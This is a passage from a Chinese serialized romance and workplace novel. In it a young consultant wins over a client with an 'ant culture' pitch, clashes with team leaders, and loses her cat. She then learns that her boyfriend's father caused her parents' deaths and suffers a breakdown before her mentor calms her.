九月却不疾不徐,继续说道:“这公司的精气神都在这文化上,光是知道引导员工去执行价值观还不行,核心三项同等重要,同时进行。 这是为什么有的公司员工凝聚力强,使命必达,而有些看起来精壮的团队,一上战场就溃不成军。必须要有目标感和使命感,有没有共同的信仰和信念,差之毫厘,失之千里。 我给你看一个视频,你揣摩揣摩。” 九月微笑着拿出自己的手机,点开一段视频递给南总。 那视频里蚂蚁如散落的星棋,在地上慌张而匆匆四处觅食,毫无章法。南总以为有什么玄妙,盯着屏幕30多秒,视频结束也没呈现出有用的信息。刚想问“你给我看的这是?” “还没完,别急。”九月点开另一个视频,这回还是蚂蚁,但整齐划一的列队前行,每只蚂蚁身上都搬移丁点大的食物,没有人维持秩序,但每只蚂蚁都默契地负重前行,就算“返行”的蚂蚁,也不会扰乱秩序,按规律、走既定路线去目的地。 南总看完呵呵笑道:“有使命有任务时,和漫无目的时,蚂蚁呈现的两种状态。” 九月点点头,轻轻一笑:“南总是个做大事业的人,但心里的志向只有你自己知道。刚刚看的视频内容,我称它为‘蚂蚁文化’,有使命,有规则,共享信息,共享利益,共守规则,轻松达成目标。一只蚁巢几十万甚至几百万只蚂蚁,通过这种方式照样管理得有条不紊,再大的目标,这群蚂蚁都敢于挑战,直至达成目标。人类比蚂蚁聪明千倍百倍,一定也可以。我们何不学习蚂蚁文化?但首先你得说出来,共享信息。” “说出来?若是逢人便谈我的想法,哈哈。”南总大笑着摇头道。 听九月这番见地他心里其实挺震撼,平时也见过蚂蚁这两种状态,但从来没往深处去想,可谓有心之人处处皆文化。但他实在做不到逢人便分享自己的想法,怪难为情。 九月认真地说道:“此‘说’非彼‘说’。你一定要与团队共享你的想法,但不是以聊天方式到处吹嘘,而是通过创建你公司的愿景、使命、核心价值观、经营理念等,把它变成核心文化制度化、系统化,大家一起去实现。” “一匹马的马车好掌控方向,十匹、百匹马的马车就难掌控,难免四分五裂。马车如此,更何况人呢?每个人都有自己的想法,方向不一致又如何助力发展?公司必须有核心文化,然后借用制度和绩效这些工具去初步实现,直到形成公司的思维模式。” 第一百零七章 洋洋失踪 南总听九月一解释,便连连认同。 从南总公司出来,天已经擦黑。 乔队心服口服地对九月道,“九月,想不到你来公司时间这么短,却有这样的专业水平和思维高度,听你将那些枯燥概念深入浅出,当成吃饭喝水一样简单直白却又讲得头头是道,我真的打心眼里佩服。上次让我如此震憾的人还是尚总亲自带我去见客户的时候。” 九月低头回着信息,听乔队这么说,便淡淡地说,“我也是跟尚总学的。不及他十分之一。” “我以为这个客户很难搞定,没想到这么快。”乔队很高兴,这却实出乎意料。 九月微微一笑,发完信息才回答道:“如果客户没有需求,我们说得天花乱坠也没用。从客户的言谈中去分析客户的痛点,然后有所准备,用事实说话,既不打无准备的仗,也不能拿道理去说服人。 能创建这么大企业的人早已身经百战,经历的事物远比你口中的道理厚实,我们讲的道理在他们面前都是班门弄斧,说不定可以反过来给我们上课。” 乔队开玩笑道,“看你小小年纪,比我至少年轻将近十岁,但说起话来却像是我的长辈。” 九月顿住,一下子竟不知如何回应。 乔队以为她不高兴,解释道,“我没有别的意思,只是说你年少老成,遇事有见地,难怪尚总如此器重你。” “我没怪你。可能跟成长经历有关。”九月说道,“乔队,我眯一会,到了叫我。” “好。” 刚沉沉欲睡,手机铃声突兀划破宁静,九月吓一大跳。 是无声无息消失了一阵子的莫诚打来的,此时他人正在公寓楼下等她。 莫诚不知不觉消失了近一个月了。 而她没有半分想念,半分牵挂,甚至没有一丝一毫想要联络他的想法。而莫诚亦然,从头至尾他想出现时就出现了,想消失时也不会打招呼。 再次突然出现在她面前也从不向她解释,自然得好像昨天才见过一样。 也许是因为他受西方教育,自由惯了;而自己则是传统守旧的教育,固守矜持。 心里一个声音提醒,只是不爱罢了。 正常的恋人怎么会是这样的状态? 文菌曾经跟她逛街,逛累了就坐在奶茶店里一起喝奶茶,当时她突然问,“如果将自己形容成一杯奶茶,你会是哪种?” 她摇摇头,“嗯,没有我,奶茶代表不了我。” 文菌笑喷了,“什么意思,五十多个品类,竟没有一款可以形容你?” 她认真说道,“你可能会觉得人间至味是清欢,我不是,必须浓郁,热烈,抓胃的那一款。奶茶里可没有,只能用菜式来形容。” “那就川菜?” “不,是入味但不会让人感觉麻辣的湘菜。我对感情的期望也是这样,寡淡如水的感情在我这里聊等于无。” 文菌品道,“你缺安全感。在感情中渴望陪伴、占有和被占有,要有明确的主权。” “完全正确!厉害了文菌,那你是哪一款?” “我?”文菌仰头望着天空,似乎那里有她的答案。 “我先来猜猜你再公布答案,你是一杯烧仙草。性格恬淡,但是内涵丰富。对不对?” 文菌未置可否,半晌才幽幽道:“应该是一款多层次鸡尾酒吧,快节奏时代,这样的缓慢层次不合时宜。不懂的人品不出味,懂的人等到酝酿到最佳效果,花期已过,徒留蹉跎。” 想着这些有的没的,乔队已经将车开至公司楼下。 跟他告别,便向公寓走去。 莫诚瘦了一圈,两个眼窝深陷进去。九月走过去,微笑着说,“莫诚,好久不见,最近好吗?” “对不起,这段时间家里出了点事。” 上次并没有听小竺提起,而且小竺似乎也在向自己打听他的下落:“家里?那,事情都处理好了吗?” “是美国那边的家,处理好了。今天刚回国,我妈妈也回国了。你什么时候有空,我妈妈想见见你。”莫诚有些憔悴,说起话来音色失去了活力。 九月看着莫诚,走近他问道,“莫诚,你喜欢我吗?是纯粹的因为心动,还是有别的我不知情的原因?” “为什么突然这么问?” “你想我吗?没有联系的这段时间?”九月又问道。 莫诚张口结舌,“我,我当然......” “可你没有联系过我,就像从没出现过一样。”九月继续逼问,“为什么我感觉不到一丝丝喜欢,我们之间就好像在走流程,不知不觉就已经走到要见父母的节点。莫诚,你太好,好到不真实,太梦幻了。但我除了小竺和你告诉我的那些,我对你一无所知。” 莫诚有些着急了,“九月,你想知道什么?我都可以告诉你,带你见我的朋友、家人、我的公司,我都可以带你去了解,来日方长,只要你愿意随时都可以。我已经都处理好了。” “处理什么?” 莫诚没有回答,轻轻将她拥进怀中,“所有阻碍我们在一起的人事物,我都处理好了。” 九月不自在的推开他,“我不明白,什么阻碍?” 莫诚不愿意正面回答这个问题,“你要相信我,我承诺过的事就一定会做到。说了要给你幸福,就一定会让你幸福。” 见九月不说话,他牵了下嘴角,双手握住她两侧肩头:“别想太多。明天下班我来接你,一起去我家吃饭。”他顿了顿,强调道,“我妈想见见你,可以吗?” 她沉默了几秒钟,终于退了一步,“我先想想,看明天工作安排。” 莫诚微微一笑,“那我等你好消息。回去吧,早点休息。” 九月回到自己房里,阳台的门敞开着,西北风从门缝里争先恐后的挤进来,她冷得直哆嗦。她起身去关门,突然意识到洋洋没像往常那样溜出来找她,便去阳台看了看,“洋洋,洋洋。” 又去房里各个角落找了一遍,没发现洋洋的踪迹。 公寓是公司租的,整栋大楼有一大半是公司同事,少部分是原来就住在这里的住户。楼下的公寓管理室是房东请的管理员,也是一个六十来岁的老人。 九月找到他,调查监控,楼道里没有监控,但走廊和电梯里有。 她上午回公寓时,洋洋还围绕着她戏耍,她当时急着找纸箱把东西打包给东维恺带去给尚云,便抚摸它的头,让它别捣蛋。 便打定主意从上午她最后一次见到洋洋的时间查看监控画面,自己进入房间后只是虚掩着门,大概十几分钟后洋洋便从门里探了探头跑出来了。 第一百零八章 蓝鲸总队不服九月 公寓卫生员在搞卫生拖地,楼梯防烟门是敞开的,洋洋便从楼道溜了出去。 九月便一直以2倍快进方式播放页面直至到现在,但始终没有看到洋洋出现在一楼大厅。已是凌晨一点多,管理员躺在椅子上鼾声如雷。 “怎么可能没有呢?”她自言自语,在她准备播第二遍时,管理员神奇般的醒了过来,揉着眼睛问她:“怎么样,找到了吗?” “可能是我播放太快。我再看一次,放慢一点。” 大爷嗓门很大,带着河南家乡话的口音说道:“美女,再看一次就天亮了,两倍快进画面也很清晰,如果出现在画面里,你不可能看不见。” 九月便从钱包里拿出二百元,恳求道:“那这样,你帮我多留意,但凡有体态相似的猫就联系我,好吗?” 大爷说道,“钱就不收啦,放心吧,这监控屏我天天看着呢。” 九月便收回钱,打算第二天给他买东西送去。 折腾了一晚上,她躺在床上看到手机信号灯一直在闪烁,便打开手机,没想到是尚云发来的微信。 简单的俩字,“谢谢。” 她鼻子一酸,回道:“洋洋失踪了。”但想了想,又立即撤回了。 早上,她跟文菌说了洋洋的事,让她帮忙留意。 文菌向九月要来洋洋的照片,那是戴着九月新织的蕾丝颈饰时,九月给它特地拍的特写,洋洋失踪时,也正好戴着蕾丝颈饰。 “有这个特征就挺好的,有识别性。”文菌便在公司“帮帮群”中发布了寻猫启事,让大家帮忙留意。 东维恺也在帮帮群中,看到寻猫启事不禁微微一笑。 迎面走过来的尚云便问,“什么事这么开心?” “不是开心,是感觉到温韾,公司员工丢失一只猫都能得到这么多人响应,尚总你看。” 他将手机凑到尚云面前,尚云快速看完,眸色微微黯了黯,淡淡说,“这是好事。干活吧,完成第一阶段的线下管理变革就回公司,等剧本完成再来做线上营销布局。” “好的,尚总。”东维恺特别怕冷,听说很快就可以回公司了,整个人都暖和了。 普世公司今天也很热闹,紧锣密鼓地举办智能产品测试会,木信一个人主导这场活动,将方案分成四个组去完成,选出四个组的负责人。 在测试会前,他再次跟四个组负责人开会,“这是公司的产品测试会,也是员工实力测试会,在活动规则中都讲得很清楚。 这场活动在今天是开幕,但整个测试过程长达两个月的进程,你们四人均是研发部工作人员,是项目开发者,尚总非常重视这个项目,公司能否占据有利形势,成败在此一举。所以今天的身份不仅是负责人,也是项目的研发产品代言人,必须深入其中了解组内成员动向,必要时向他们解释清楚规则和原由。” 木信话里话外,已透露出项目的重要性,四人为之一振,深受鼓舞。 “昨晚上发给你们的方案是我重新制订的,规则不变,按我的要求去准备吧。” 四人领命而去。 下午,估计测试活动开局完成,尚云便打电话询问智能项目的事。 “挺顺利,接下来就按步就班的跟着方案走。你那边还顺利吧?” “你做事我自然放心。我过两天就能完结第一阶段,会回来公司一趟。” “好,尚总工作之余要保重身体。” 尚云沉默一会,木信估计他有话要讲,便道,“尚总,有什么需要我去处理的?” 电话那头清咳一声,声音微沉:“我最近收到蓝鲸团队的邮件,杂音挺多。你肩上的担子比较重,但还得要集中精力把人才作为重中之重去看待。 人心是否一致,跟公司的战略执行、成长速度、服务质量是分不开的。无论是蓝鲸业务的闭环,还是公司整体运行的闭环,都是一体的。 九月还缺少管理经验,蓝鲸团队也都是心高气傲的主,我不在公司,九月可能压不住他们。你必要时出手扶一扶。要知道公司无小事,保持你的敏锐度。” “明白了。”木信其实也略有耳闻,一是分身乏术,二是尚总有意磨炼九月的管理能力,在他开口前便没去插手。 恰好第二天是蓝鲸例会,三个总队反应最近所遇到的问题,最棘手的问题便是文创岗位功底比较弱,虽然二百多支团队都有人兼任,但毕竟具有天赋的太少,大部分只能根据公司的模版去填充内容。 甘队说道,“其实这个问题一直存在,尚总之前让每个团队稍有文采的成员专门经受创作训练,解决这老大难题。但随着客户要求越来越高,市场越来越卷,又出现文思不足、内容相仿的弊病。” 厉队也点头说:“对,而且现在蓝鲸团队正在呈几何倍数扩充,其他岗位的新人都好办,唯独这个岗位陷入紧缺状态。” 乔队“七百多支团队,就需要七百多个文化管理经验的文创人才,我们必须要高于客户要求的水准,不能硬拉人来凑。催了人资部,何艳也表示太难,每次都说已经在想办法,但是......” 九月在笔记本上刷刷记录,想了想说道:“我有一个初步想法,之前客户投诉企业故事撰写不符合要求,所以了解过这个岗位。 有些团队接的任务长达半年都不会有文创需求,有的团队却接二连三接到需要创作的工作内容。 所以,能不能将这个岗位提取出来,作为总队的中心信息部,不需要再增加岗位人员,也不会分配不均,设计程序按工号分配任务。也可以由蓝鲸团队将客户资料和特殊需求递交给负责人,选择适合的文采风格去匹配。” “当然不行,这不是将公司的组织结构破坏了吗?”甘队差点跳起来:“而且这个岗位必须跟着团队去客户那边了解信息,信息是活的,转瞬即逝,需要自己去捕捉。我们打在纸上给你资料,创作出来的东西也很死板。” “绝对不行。”厉队也反对道:“九月,你可能根本不了解我们团队运作。你之前一直做前期诊断,那是你擅长的领域,但后期的工作很复杂,不是你能想像的。” 甘队随声附和。“就是,你看。” 乔队看看二人,又看看九月,他没发表意见。但从神情看得出,他也并不认为这是一个好主意。 九月面对甘队和厉队的极力反对和激烈反应,争论下去没有意义。 这个提议又要无疾而终,如果不拿出可行的数据证明,根本无法说服他们:“那大家再想想怎么解决,有好点子随时发邮件给我。今天先到这里吧。” 她也知道,不是提议真的不行,而是他们压根就不认同她。如果今天是尚云提出来的,他们或许会主动思考利弊。 可是,凡事要靠上级去压着他们服从自己,那要自己何用? 她走出会议室,身心俱疲。 第一百零九章 木信做说客 在回办公室的路上,关之洁正要去接茶水。“九月,木信说你开完会去找他。” “好的。” 她没有回办公室,径直走到木信门口,门敞开着,见到她来了,木信起身让她在沙发上坐,顺手关了门,“九月,工作上有没有遇到难题?” 九月深深叹了口气,“问题当然有,但大部分问题在我自己身上。” “为什么这么说?” “第一,无论让人信服,说明我的权威性不足;第二,无法让人正视我的提议价值,说明能力不足以让人信任。第三,不能使人接纳我,说明平日里亲和力不足。” 木信笑道,“你倒是挺会给自己扣帽子的。不过,能这么想是好事,看到自己的不足才有可能进步。管理不是一朝一夕就能水到渠成的,正因如此,尚总才会给你机会历练。你也别沮丧,需要过程,关键你在这个过程里能学到经验。” “我怀疑尚总在拔苗助长。”九月摩娑着笔记本,声音里透着无奈。 “你是觉得太快了?还是觉得自己不是这块料?” “三位总队队长,每一位入职进来的时候都带着管理经验的。在普世又经历了几年打磨才坐上如今统领几百上千人的位置。我却从来没有涉足过管理,突然将我置于三人之上,换谁都不会服气。”九月靠在沙发上。 “九月,你能想到的,尚总想不到吗?他这么做有他的理由。我跟他这么多年,太了解他的性格。在工作上,只会用对的人做对的事,不会存有一点点私心。 我们公司虽然是文化管理行业,但说白了就是服务行业。公司的底层逻辑带着军事文化,高层也甚少有女性。除了必要的专业权威度与执行力,还需要在感性细节、柔韧战术着手。这是我们目前来说欠缺的。 从尚总对道法的研究,包括公司的整体布局,无一不遵从道法自然,亦阴亦阳的规律。至刚必须要搭配至柔,刚柔相济才能长远。 你可能会说,那可以将你放在总队之下。但是,下面的声音容易被他们强势的声音所覆盖,相信你已经见识到他们的‘至刚’。所以,你只能在上位,你的声音才会被听到,被正视,同时他们三人占多数,也不会显弱,你与他们之间才会持衡。” 九月听木信讲话的过程,渐渐坐直身子。惊觉尚云的深谋远虑。 “他安排我和你所做的一切都有意义,你不用置疑,而是去思考他为何要这么做,研究他的每个决策,你能学到很多东西,看事情的眼光变得长远。我就是这么成长起来的。”木信说这番话,一是传授自己的经验,二是重建九月的信心。 见九月脸上的阴霾已经消散,木信突然话锋一转,说道,“虽然尚总在工作当中铁面无私,但对你还是倾注了很多心血,这一点我比谁都清楚。而且,你也具备他期望的潜力,你要相信自己。” 九月知道木信所言不虚,由衷感谢木信,也因此对木信更加敬重,“谢谢你告诉我这些,木信。你真的很了不起。” “你客气了。” 木信又发信息给三位总队长,以近段时间组建团队费心费力,业务又值繁忙期为由,约好今晚下班出去吃点好吃的,犒劳犒劳。 三位总队长自然是很乐意的。 在一家公认为菜品首屈一指的餐厅里订了一桌,酒过三巡,大伙之间就开始欢声笑语,不似刚落坐那样肃然。 “最近公司一直在扩张中,大家各方面的繁忙程度可想而知。不过这对公司来说是好事,若没有业务那才叫一个惨,被对手直接干趴下了。”木信给自己斟满酒杯,又给三人依次斟满,他们抢着来倒酒,木信拦了回去,说道,“没事,大家辛苦了。对此尚总也非常体恤各位,出差前还不忘让九月替他坐镇,在三位需要时支援一把。听说之前乔队搞不定的客户,九月出面帮忙搞定了,乔队有没有这回事?” 乔队咽下菜,一边点头一边擦嘴,“确实,这次多亏九月总助帮忙。那谈判水平可真得了尚总真传,连我这个好几年的老专业户,听了她的一番解说都心服口服。客户态度眼睛都亮了,那是一百八十度转变,亲自煮了茶,给九月总助添了三次茶水。” 甘队和厉队不禁面面相觑,说,“这么神乎?” 乔队乐了:“不得不说,九月有化繁为简的能力,把整个专业系统盘活了。捏扁搓圆,客户要什么样的,她就拿出什么样的。你知道她准备了什么去说服客户吗?” 木信也好奇道,“是什么?老乔你说来听听。” “蚂蚁觅食。”乔队笑道,“她先是给客户吧吧说了一堆,展示自己的专业水平。等客户上道了。她就拿出手机,不知道在哪拍了两段蚂蚁觅食的视频。”乔队把整个过程说了一通,乔队常年跟客户打交道,口才也是上乘水平,活灵活现将当时场景演出来。 木信也是频频点头:“还别说,九月这番操作我想都想不到,但这么一说,融入企业管理当中,蚂蚁世界的统治文化还真像那么回事。这个设想有趣又有哲理。真是高!” 甘队和厉队也是服气的,但是服气归服气,对她的认可还是有所保留:“她的谈判水平和前期诊断方面确实表现优秀。” 言下之意,但这优秀的地方也仅限于此。 “其实呀,尚总鲜少会看错人。甘队还记得两年前那次比赛吗?” 甘队见木信提起往事,怔了怔,点头道,“记得,记得。” “那时你跟钟连楚两人在能力上不相上下,在一次小组比赛中,钟连楚还险胜甘队。其实那次比赛,你们双方都很清楚,是为选拔人才承担一队的总队长职位和责任。 如果尚总选钟连楚,大家都认为理所当然。但他选择甘队长,他当时的话我现在还记得,他说:察人于微,用人于长。看人看在平日里,比赛成绩只能作为参考。他觉得甘队是一个很有担当和使命感的人,不会辜负他的期待。” 木信笑着说,“事实也确实如此,那时甘队杀出重围,在公司还不具有盛名时,带队从荒芜中开垦出这片江山,才有了如今这样的规模。成为三大蓝鲸团队之首。” 乔队和厉队也颇有感想,静静听他二人讲话。 甘队感慨万千,“我能有今天,真得感谢尚总,他是一个真正意义上的伯乐。” “没错。”木信又道,“他认为普世是我们大家的,每个人在合适的岗位必定不同凡响,所以普世不存在个人英雄主义,凝聚在一起才是普世文化。来,为我们共同的事业干一杯。” “为共同事业干杯。” “为事业大干一场。” “大干一场,不负此生。” 四人站了起来,喝了这杯酒,热辣感顺着喉咙滑入腹部,点燃了雄心壮志。 第一百一十章 朋友变仇人 “来来来,吃菜,今天鱼做得不错,鲜香味美,都尝尝。”木信招呼道,“你们呀工作归工作,身体都得保养好。每周训练可得走心锻练,干事业需要一副好身体。” 大家乐呵呵,表示每周都在练,就等着半年一次的军事拓展活动展现实力。 “厉队你可要注意了,上次你们队拿了倒数第二。”甘队向来对尚云唯命是从,因此他的团队也是锻炼最勤,体能最好的。 厉队哈哈笑说,“早就磨刀霍霍,就等着雪耻。该担心的是你们。” 说说笑笑,都吃的差不多了,侍者送来了果盘,木信招呼大家吃。 他敛神说道:“尚总这几个月可能会频繁出差,他特意留下九月协助蓝鲸团队,自有她的过人之处。 当然,某些方面她确实不如三位,我们各有长短,正是如此,才要互补,互相扶持,将利刃一致对外,把普世文化这项事业越做越好。干了这杯酒,咱们就算是达成共识了。” “说的好!” 四人再一次碰杯,一饮而尽。 之后在欢声笑语中散了场。 而这天晚上,九月嘱托文菌替她去公寓管理员那儿打听洋洋的出没,自己则在加班之后被莫诚接往家里,此时正在路上。 熟悉的路,熟悉的环境。 九月努力回忆,终于记起这是上次莫诚在路上遇到她,带她去了河边的那条路。 “上次我们来过这里,你带我去了教堂,没想到你家就在这附近。” 莫诚面色柔和,“对,教堂离我家只有一公里的路程。你记性很好。” 到了一座大别墅院门口,大门自动开启,他驱车而入。 九月有点忐忑,跟着莫诚进了家门。 家里装璜得富丽堂皇,非常讲究。一位气质干练的短发女士坐在沙发上,边看杂志边喝着咖啡。莫诚低声提醒,“那是我妈妈。” 她很惊讶,原以为莫诚妈妈是一个雍容华贵的富态太太,但没想到这完全是职场女精英形象,“您好,莫伯母。” 她缓缓抬头,看到二人将手中的咖啡放在桌上,杂志也放一旁。优雅一笑,“你好,九月,叫我Lynda。” 琳达招呼二人道:“坐吧。我刚到家,所以秦姨十分钟前才准备晚饭。” 莫诚拉九月坐下。“亲爱的琳达女士,你第一天上班就忙这么晚?” 琳达脸上没有慈爱神情,不说话的时候挺冷酷,“雷默现在是一团糟,你姐姐不擅管理,下面的人也由着她乱来,只得慢慢善后。” “莫诚,你去酒窖选一瓶红酒来,提前醒好一会喝。”琳达语气平稳,但就是有一种让人无法违抗的威严感。 “好。”莫诚看了看九月,轻轻拍拍她的手背,就去酒窖了。 琳达这才面朝九月,招招手,“来,坐过来。” 九月大方地坐得近了些,“琳达,跟我想像中不一样。” “世界上很多事都是我们一厢情愿的想像,但想像并不是现实。如果我没猜错,九月并不喜欢莫诚,或者说,没那么喜欢。”她一双洞悉人心的犀利眼眸在九月脸上转。 九月一时不知如何回答,“何以见得?” “神情。”琳达似乎笑了,习惯性挑眉道:“这不是恋爱中的女孩该有的神情。” 言多必失,说的越多,她在对方面前透露更多。 如果这是一场博奕,九月己经处于不利地势。琳达似乎掌握更多关于她的信息,而到此为止,九月却对她一无所知。 九月也浅笑,对她的话不置可否。 “其实也不能怪你,我知道是莫诚执意要这么做。无论是十二年前,还是现在,他将你跟他自己的命运绑在一起。”琳达也不打算绕弯子,便直言道,“我们都劝过,但他听不进劝。我想,唯有你能结束这种救赎似的爱。 我知道,在中国有太多这种俗套电视剧情,邪恶婆婆用钱拆散相爱的两个人。我是一个开明的人,受过良好的教育。如果你们真心相爱,我不会这么做。但很明显你们不是,莫诚在国外有喜欢的人,但他为了你,放弃了六年的感情。这次回国接我,我扣住他,留他在国外呆了三个多礼拜,企图让他清醒。很遗憾,他坚持自己的做法。” 九月如雷轰顶,彻底愣住了。“他没跟我说过,而且为什么要这么做?” “因为亏欠。” 九月更是一头雾水。 琳达从鼻孔发出笑声,“准确来说,这是他父亲造的孽。你父母车祸当年是因为他父亲,事后他父亲在教堂向神父忏悔一切,但忏悔室里当时没有神父,只有躲着小竺的莫诚。 他亲耳听到父亲的忏毁辞,那一刻父亲的形象在他心底彻底坍塌。他看到报纸上关于车祸的报道,决定瞒着父亲去找你。 但那时候我在国外已经联系好学校,他突然不愿意出国,直到我亲自回来接他。到了国外,他央求我一定要帮你,我当时想极力划清跟他父亲的界限,不愿意管这些事。 后来经不住他苦苦哀求,给当时的社援机构汇了款,指名道姓是寄给你的。但对方说你已经离开了安源镇不知去向,家属们的赔款也已经还清,那笔款项又给原封不动返给我......” 琳达的声音有点遥远而模糊,九月头脑一片空白,耳朵轰隆作响。 良久,她渐渐缓过神来,听到琳达仍在缓缓说道,“......你在酒吧出事,他以为又是父亲找人干的。回家跟父亲吵了一架,吵架之后他父亲立即中风住院,没多久就去世了。也算一报还一报吧。 但当年的事情是他父亲犯的错,我们确实不知情,莫诚和小竺跟你一样,那时还是孩子,我则在小竺仅两岁的时候就去了国外。 我们对你很同情,也深觉愧疚,但莫诚却将这种罪恶感背在身上,足足背负了十二年。甚至准备背负一生,用一生去补偿你,让你幸福。 但两家的恩怨摆在那里,凭这一点,就算不记恨,我想你也不可能会跟莫诚结合,以免你们在一起后突然知情而徒生痛苦,我必须告诉你,而且你也有权利知道这些。” 九月身子抖得厉害,却没有哭,她声音暗哑:“谢谢琳达能将真相告诉我,我需要独自消化这些,原谅失陪了。” 她站起来,有点头昏目眩,琳达起身扶了她一把。 九月微微用力,挣开她的搀扶,走到门口的时候,莫诚才拿着酒进来,“九月,你去哪?” 她铁青着脸一言不发,出去了。 莫诚愕然看着母亲,琳达坦然对上他的视线,“我觉得她有权利知道真相,在知道真相后还想在一起,那我会祝福你们。否则,对你不公平,对她也一样。” 莫诚心里惊怒,又没法冲母亲发火,他将红酒重重放下,“要告诉她真相,也该由我以后循序渐进地告诉她,至少不会像现在这样糟糕。妈,你让我带她来家里,我以为你是真的同意我们交往。你知道吗?我现在对她的感情并不完全是想补偿,我是真的喜欢她。” “你喜欢的人在美国。” “我们分手已经很久了,她受不了异地恋,主动提出来的。在我喜欢九月之前就分手了!妈,你做这些有没有考虑过我的感受,能不能尊重我的想法......”莫诚烦躁地转头追了出去。 琳达脸上罕见地出现一丝错愕。 第一百一十一章 九月发病 九月跌跌撞撞走了一段路,耳边仿佛装了无数个喇叭,每一个都在声嘶力竭喊叫着父母离世的真相。 一辆车在她身边停下,有个人拉住她,熟悉的面孔不断解释着什么。她听不清,耳边的喇叭太吵了,吵得她五脏六腑都要翻过来。 她好像突然不知道自己是谁,也不知道自己在哪,更不知道对方是谁。 她目光无神地望着他,仿佛震耳欲聋的声音来自于面前的人,她瞳孔渐渐缩小,脸上出现惊恐之色。 另一辆车也停下,下来一个人过来拉开解释的人。她退到路边,任何人的触碰都会让她失声惨叫,她把自己缩成很小的一团,越小越安全。 尚云接到莫诚的电话,非常意外。 电话是九月的,所以他开口便叫了一声“九月”。 “是我,莫诚。我妈告诉她一些事情,九月现在精神状态异常,小竺也不知道她平时看的心理医生是哪位,所以想问你能否联系上。”莫诚内心有些慌乱,极力保持冷静,简单两句说清楚。 尚云正在加班,听到莫诚凝重的语气,知道事情比较严重,不禁蹭地一下站了起来:“你们在哪?” “在延夏路段。” 在户外?尚云着急道:“先送去医院,一会我叫心理医生过去。” “她不让人碰,好像不认识我了,整个人歇斯底里。”莫诚道,实在没办法才打这个电话。 尚云怔了一秒,说道,“我发视频过来试试。” 电话被挂断,很快尚云发视频过来,接通之后,尚云道:“把电话给她。” 莫诚乖乖照做。但很快九月便惊恐万分。 “九月,是我,我是尚云。九月,你看着我,看着我。” 九月将自己的头埋进臂弯,整个人团成一只刺猬。对莫诚递过来的手机非常抗拒。 “九月,你还记得那首《长相思》吗?少时你常常背诵。 九月西风兴,月冷露华凝。慕爸爸用第一句诗给你取名叫九月。因为这个名字好听,又好记,还是一首好诗。慕爸爸希望你能快快乐乐,把生活过成一首诗。” 九月这时缓缓抬头,看向屏幕,原本干涸无神的眼睛里,出现了泪光。 尚云继续说道,“你一直耿耿于怀,说不喜欢‘有如女萝草,生在松之侧。蔓短枝苦高,萦回上不得。’,我知道,你一直将自己比作萝蔓草,其实你从来不是,在我心里,你从来都是与松比肩而立的柏树,亭亭玉立,志清高洁,宁折不曲,勇敢而有实力。” 听到这里,她的意识已经恢复过来,抽泣着接过手机。 尚云也察觉到她的变化,语气变缓:“你还说你最喜欢后面几句,‘人言人有愿,愿至天必成。愿作远方兽,步步比肩行。愿作深山木,枝枝连理生’。我一直没告诉你,其实我也很喜欢。” 见九月哭着哭着就破涕为笑,尚云松了一口气,“你哭的样子实在不好看,把泪水擦了,咱们先去医院看看,别让我担心,我过两天就回来了。” “好。”九月哑着声音说道。 挂断电话,九月艰难地起身,仿佛耗尽力气,全身虚软。莫诚来扶她的时候,她下意识就缩了一下。 好心路人见她似乎清醒了,也打算走,“姑娘,既然你们都认识,那一起去医院看看,身体要紧。” “谢谢你。”莫诚回头道。 九月安静上了车,莫诚也不敢再说什么,生怕刺激到她。刚刚听到尚云说话的内容,他就知道自己已经输了。 尚云是一棵劲松,早已在她心里扎了根,融为一体。 莫诚心头有种酸涩隐痛,也有一丝轻松解脱。 而在北方的那座城市里头,灯光下尚云重新坐下,看着电脑怔忡失神。 东维恺这时将会议资料都整理妥当,推门进来给他:“尚总,这是明天早上开会要用的资料,电子档已经发你邮箱了。” “好,你早点回去休息,这段时间辛苦了。” 东维恺走后,他给文菌打了个电话,又给朱明打了个电话。 很快便敛神工作。 木信是在第二天才听说了九月的事。手头上的工作实在抽不出时间,便叫关之洁去医院看望九月。 这时,销售部主管计林敲门进来,木信看到他那一刻,这两天以来心里的石头总算落地。 他在心里只给了计林三天时间,自己约他谈话和他自己主动上门交代事情,性质就完全不一样了。 计林谈了自己在工作上的想法,木信也就放任跟着他的思路走,完全把谈话的主导权交给他。终于,计林话锋一转,提到克普的罗总约他在酒吧见面的事。 木信始终淡然态度,既让对方知道自己对此事了然于胸,又不让对方看出自己了解多少。 计林果然便将事情来龙去脉,一五一十的全抖了出来。最后说了几句肺腑之言:“我也犹豫过,心动于他们给的报酬。但是,这个念头在脑海里闪现,心里就很不踏实。 在普世工作马上三年了,虽然薪资报酬不是最高的,却是我职业生涯成长最快最明确的。包括自己平日的为人处事小观念,连我妻子都说我完全像变了一个人,与家人的摩擦锐减,这些都是在普世发生的改变。 因此,连我妻子都说,普世这样的企业难得,不能因为一点利益而辜负了。想来想去,决定将事情告诉你和尚总,也让公司有个心理准备,知道克普在做什么小动作。” 木信欣慰地说,“你没叫公司失望,没叫尚总和我失望。而且,你有一个明事理的好太太。这些我都知道,你去忙吧。” 计林这一主动找他,很多预备措施便取消了。 他给关之洁打电话说道,“下午我跟你一起去看九月。” “木总助,刚我打电话给九月,她说下午就能来上班,我们不用去医院了。”关之洁说道。 “这样?你没告诉她先休息好?” “我说了,但九月坚持要来上班。” “好,我知道了。”木信说。 其实不光是告诉关之洁,九月还打电话给朱明。 朱明给一个病人做心理治疗,回办公室发现九月几个未接来电,刚要回过去,书瑶出现在门口,“明哥,刚才你电话响了好久,我帮你接了一个。” 朱明挑眉看着她,“九月打来的?” “对,就是昨晚我们治疗的那病人。她说她已经康复,今天不用再过去,她正在办出院手续。” 朱明微微皱眉,“哦”了一声。见书瑶欲言又止,便道,“还有事?” “下班了,你不去吃午饭?要不我给你带回来。”书瑶巧笑倩兮的样子,像极了青葱时代那柔媚春天。 朱明有几午目眩,“不用了。”看到她那小失望的眼神,又说了一声:“一起去。” 书瑶抿唇而笑,“那走吧。” 第一百一十二章 书瑶暗恋朱明 两人就在附近一家大型商超餐厅区,点了两份套餐。 书瑶吃的不多,眼睛总是含情脉脉看着对面的朱明。 朱明虽然埋头吃饭,眼角余光却也发现了对面的视线。 “你吃这么少?”朱明喝汤时,淡淡问。 书瑶轻道,“我在减肥。” 朱明抬头,“你不胖,健康最重要。” 书瑶笑了,“明哥,你说男孩都喜欢什么样的女生?” 他看着书瑶,直到她不好意思撇开目光,才道:“若真正喜欢一个人,哪有什么标准框架?她的存在就是标准。” 